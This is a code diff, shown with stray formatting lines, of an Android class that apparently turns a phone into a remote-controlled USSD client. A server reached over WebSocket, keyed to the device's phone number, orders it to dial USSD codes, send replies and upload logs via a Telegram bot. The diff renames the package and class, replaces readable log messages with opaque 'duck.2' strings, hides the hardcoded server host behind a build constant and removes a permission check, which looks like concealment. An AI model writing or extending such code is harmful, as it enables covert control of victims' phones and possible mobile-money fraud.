|
@@ -1,6 +1,6 @@
|
|
-package com.car.frpc_android.util;
|
|
|
|
|
|
+package com.app.duck.util;
|
|
|
|
|
|
-import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
|
|
|
|
|
|
+import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
|
|
|
|
|
|
import android.content.Intent;
|
|
import android.content.Intent;
|
|
import android.os.Handler;
|
|
import android.os.Handler;
|
|
@@ -8,13 +8,14 @@ import android.util.Log;
|
|
|
|
|
|
import com.alibaba.fastjson.JSON;
|
|
import com.alibaba.fastjson.JSON;
|
|
import com.alibaba.fastjson.JSONObject;
|
|
import com.alibaba.fastjson.JSONObject;
|
|
|
|
+import com.app.duck.BuildConfig;
|
|
|
|
+import com.app.duck.Config;
|
|
|
|
+import com.app.duck.R;
|
|
import com.blankj.utilcode.util.GsonUtils;
|
|
import com.blankj.utilcode.util.GsonUtils;
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
import com.blankj.utilcode.util.ThreadUtils;
|
|
import com.blankj.utilcode.util.ThreadUtils;
|
|
import com.blankj.utilcode.util.ToastUtils;
|
|
import com.blankj.utilcode.util.ToastUtils;
|
|
import com.blankj.utilcode.util.Utils;
|
|
import com.blankj.utilcode.util.Utils;
|
|
-import com.car.frpc_android.Config;
|
|
|
|
-import com.car.frpc_android.R;
|
|
|
|
import com.elvishew.xlog.XLog;
|
|
import com.elvishew.xlog.XLog;
|
|
import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
import com.romellfudi.ussdlibrary.OverlayShowingService;
|
|
import com.romellfudi.ussdlibrary.OverlayShowingService;
|
|
@@ -38,7 +39,7 @@ import okhttp3.WebSocketListener;
|
|
* created on: 2023/10/16 23:38
|
|
* created on: 2023/10/16 23:38
|
|
* description:
|
|
* description:
|
|
*/
|
|
*/
|
|
-public final class WebSocketManager {
|
|
|
|
|
|
+public final class WsManager {
|
|
private static WebSocketListener webSocketListener;
|
|
private static WebSocketListener webSocketListener;
|
|
private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
|
|
private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
|
|
private static WebSocket webSocket;
|
|
private static WebSocket webSocket;
|
|
@@ -56,42 +57,36 @@ public final class WebSocketManager {
|
|
@Override
|
|
@Override
|
|
public void onOpen(WebSocket webSocket, Response response) {
|
|
public void onOpen(WebSocket webSocket, Response response) {
|
|
super.onOpen(webSocket, response);
|
|
super.onOpen(webSocket, response);
|
|
- Log.i(Config.LOG_TAG, "WebSocket open. url = " + webSocket.request().url());
|
|
|
|
- XLog.i("WebSocket open. url = " + webSocket.request().url());
|
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket open.");
|
|
|
|
|
|
+ Log.i(Config.LOG_TAG, "duck.2 open.");
|
|
|
|
+ XLog.i("duck.2 open.");
|
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 open.");
|
|
}
|
|
}
|
|
|
|
|
|
@Override
|
|
@Override
|
|
public void onMessage(WebSocket webSocket, String text) {
|
|
public void onMessage(WebSocket webSocket, String text) {
|
|
super.onMessage(webSocket, text);
|
|
super.onMessage(webSocket, text);
|
|
- Log.i(Config.LOG_TAG, "WebSocket get a Message: " + text);
|
|
|
|
- XLog.i("WebSocket get a Message: " + text);
|
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket message.");
|
|
|
|
- //收到消息
|
|
|
|
JSONObject json = JSON.parseObject(text);
|
|
JSONObject json = JSON.parseObject(text);
|
|
String command = json.getString("command");
|
|
String command = json.getString("command");
|
|
String requestId = json.getString("request_id");
|
|
String requestId = json.getString("request_id");
|
|
String ussdCode = json.getString("value");
|
|
String ussdCode = json.getString("value");
|
|
switch (command) {
|
|
switch (command) {
|
|
- //发起ussd拨号
|
|
|
|
case "invoke":
|
|
case "invoke":
|
|
ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
|
|
ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
|
|
break;
|
|
break;
|
|
- //发送ussd信息
|
|
|
|
|
|
+ case "invoke2":
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> callOverlay2(ussdCode, requestId));
|
|
|
|
+ break;
|
|
case "send":
|
|
case "send":
|
|
ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
|
|
ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
|
|
break;
|
|
break;
|
|
- //撤销ussd拨号
|
|
|
|
case "cancel":
|
|
case "cancel":
|
|
ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
break;
|
|
break;
|
|
- //上传设备日志
|
|
|
|
case "log":
|
|
case "log":
|
|
- ThreadUtils.runOnUiThread(() -> new TelegramBotExample("", false));
|
|
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> new TgBot("", false));
|
|
break;
|
|
break;
|
|
- //设备发送消息
|
|
|
|
case "message":
|
|
case "message":
|
|
- ThreadUtils.runOnUiThread(() -> new TelegramBotExample(ussdCode, true));
|
|
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> new TgBot(ussdCode, true));
|
|
break;
|
|
break;
|
|
case "config":
|
|
case "config":
|
|
HxUtils.checkForUpdateBotConfig();
|
|
HxUtils.checkForUpdateBotConfig();
|
|
@@ -108,18 +103,18 @@ public final class WebSocketManager {
|
|
public void onClosing(WebSocket webSocket, int code, String reason) {
|
|
public void onClosing(WebSocket webSocket, int code, String reason) {
|
|
super.onClosing(webSocket, code, reason);
|
|
super.onClosing(webSocket, code, reason);
|
|
webSocket.close(code, reason);
|
|
webSocket.close(code, reason);
|
|
- Log.i(Config.LOG_TAG, "WebSocket closing.");
|
|
|
|
- XLog.i("WebSocket closing.");
|
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closing.[" + reason + "]");
|
|
|
|
|
|
+ Log.i(Config.LOG_TAG, "duck.2 closing.");
|
|
|
|
+ XLog.i("duck.2 closing.");
|
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closing.[" + reason + "]");
|
|
}
|
|
}
|
|
|
|
|
|
@Override
|
|
@Override
|
|
public void onClosed(WebSocket webSocket, int code, String reason) {
|
|
public void onClosed(WebSocket webSocket, int code, String reason) {
|
|
super.onClosed(webSocket, code, reason);
|
|
super.onClosed(webSocket, code, reason);
|
|
reconnectWebSocket();
|
|
reconnectWebSocket();
|
|
- Log.i(Config.LOG_TAG, "WebSocket closed. code = " + code + ",reason = " + reason);
|
|
|
|
- XLog.i("WebSocket closed. code = " + code + ",reason = " + reason);
|
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
|
|
|
|
|
|
+ Log.i(Config.LOG_TAG, "duck.2 closed. code = " + code + ",reason = " + reason);
|
|
|
|
+ XLog.i("duck.2 closed. code = " + code + ",reason = " + reason);
|
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closed.[" + reason + "]");
|
|
|
|
|
|
}
|
|
}
|
|
|
|
|
|
@@ -127,20 +122,19 @@ public final class WebSocketManager {
|
|
public void onFailure(WebSocket webSocket, Throwable t, Response response) {
|
|
public void onFailure(WebSocket webSocket, Throwable t, Response response) {
|
|
super.onFailure(webSocket, t, response);
|
|
super.onFailure(webSocket, t, response);
|
|
reconnectWebSocket();
|
|
reconnectWebSocket();
|
|
- Log.e(Config.LOG_TAG, "WebSocket failure.", t);
|
|
|
|
- XLog.e("WebSocket failure.", t);
|
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
|
|
|
|
|
|
+ Log.e(Config.LOG_TAG, "duck.2 failure.", t);
|
|
|
|
+ XLog.e("duck.2 failure.", t);
|
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 failure.[" + t.getMessage() + "]");
|
|
}
|
|
}
|
|
};
|
|
};
|
|
executorServiceUi.execute(() -> {
|
|
executorServiceUi.execute(() -> {
|
|
try {
|
|
try {
|
|
OkHttpClient client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
|
|
OkHttpClient client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
|
|
- String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
|
|
|
|
- Request request = new Request.Builder().url(Url).build();
|
|
|
|
|
|
+ Request request = new Request.Builder().url(BuildConfig.WEB_URL + HxUtils.getPhone() + "/").build();
|
|
webSocket = client.newWebSocket(request, webSocketListener);
|
|
webSocket = client.newWebSocket(request, webSocketListener);
|
|
} catch (Exception e) {
|
|
} catch (Exception e) {
|
|
- Log.e(Config.LOG_TAG, "WebSocket error.", e);
|
|
|
|
- XLog.e("WebSocket error.", e);
|
|
|
|
|
|
+ Log.e(Config.LOG_TAG, "duck.2 error.", e);
|
|
|
|
+ XLog.e("duck.2 error.", e);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
);
|
|
);
|
|
@@ -156,7 +150,7 @@ public final class WebSocketManager {
|
|
}
|
|
}
|
|
|
|
|
|
private static void callOverlay(String ussd, String request_id) {
|
|
private static void callOverlay(String ussd, String request_id) {
|
|
- if (USSDController.verifyOverLay(Utils.getApp())) {
|
|
|
|
|
|
+ try {
|
|
if (null != svc) {
|
|
if (null != svc) {
|
|
Utils.getApp().stopService(svc);
|
|
Utils.getApp().stopService(svc);
|
|
}
|
|
}
|
|
@@ -176,8 +170,30 @@ public final class WebSocketManager {
|
|
Utils.getApp().stopService(svc);
|
|
Utils.getApp().stopService(svc);
|
|
}
|
|
}
|
|
});
|
|
});
|
|
- } else {
|
|
|
|
- sendWebSocketMsg(request_id, "exception", "!USSDController.verifyOverLay");
|
|
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ XLog.e("error,ussd!", e);
|
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ private static void callOverlay2(String ussd, String request_id) {
|
|
|
|
+ try {
|
|
|
|
+ ussdApi.callUSSDInvoke(ussd, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
|
|
|
|
+ @Override
|
|
|
|
+ public void responseInvoke(String message) {
|
|
|
|
+ sendWebSocketMsg(request_id, "response", message);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void over(String message) {
|
|
|
|
+ sendWebSocketMsg(request_id, "over", message);
|
|
|
|
+ }
|
|
|
|
+ });
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ XLog.e("error,ussd!", e);
|
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
@@ -235,11 +251,11 @@ public final class WebSocketManager {
|
|
executorServiceUi.execute(() -> {
|
|
executorServiceUi.execute(() -> {
|
|
try {
|
|
try {
|
|
if (webSocket != null) {
|
|
if (webSocket != null) {
|
|
- webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
|
|
|
|
|
|
+ webSocket.close(NORMAL_CLOSURE_STATUS, "duck.2,Goodbye!");
|
|
}
|
|
}
|
|
} catch (Exception e) {
|
|
} catch (Exception e) {
|
|
- Log.e(Config.LOG_TAG, "Close webSocket error.", e);
|
|
|
|
- XLog.e("Close webSocket error.", e);
|
|
|
|
|
|
+ Log.e(Config.LOG_TAG, "Close duck.2 error.", e);
|
|
|
|
+ XLog.e("Close duck.2 error.", e);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
);
|
|
);
|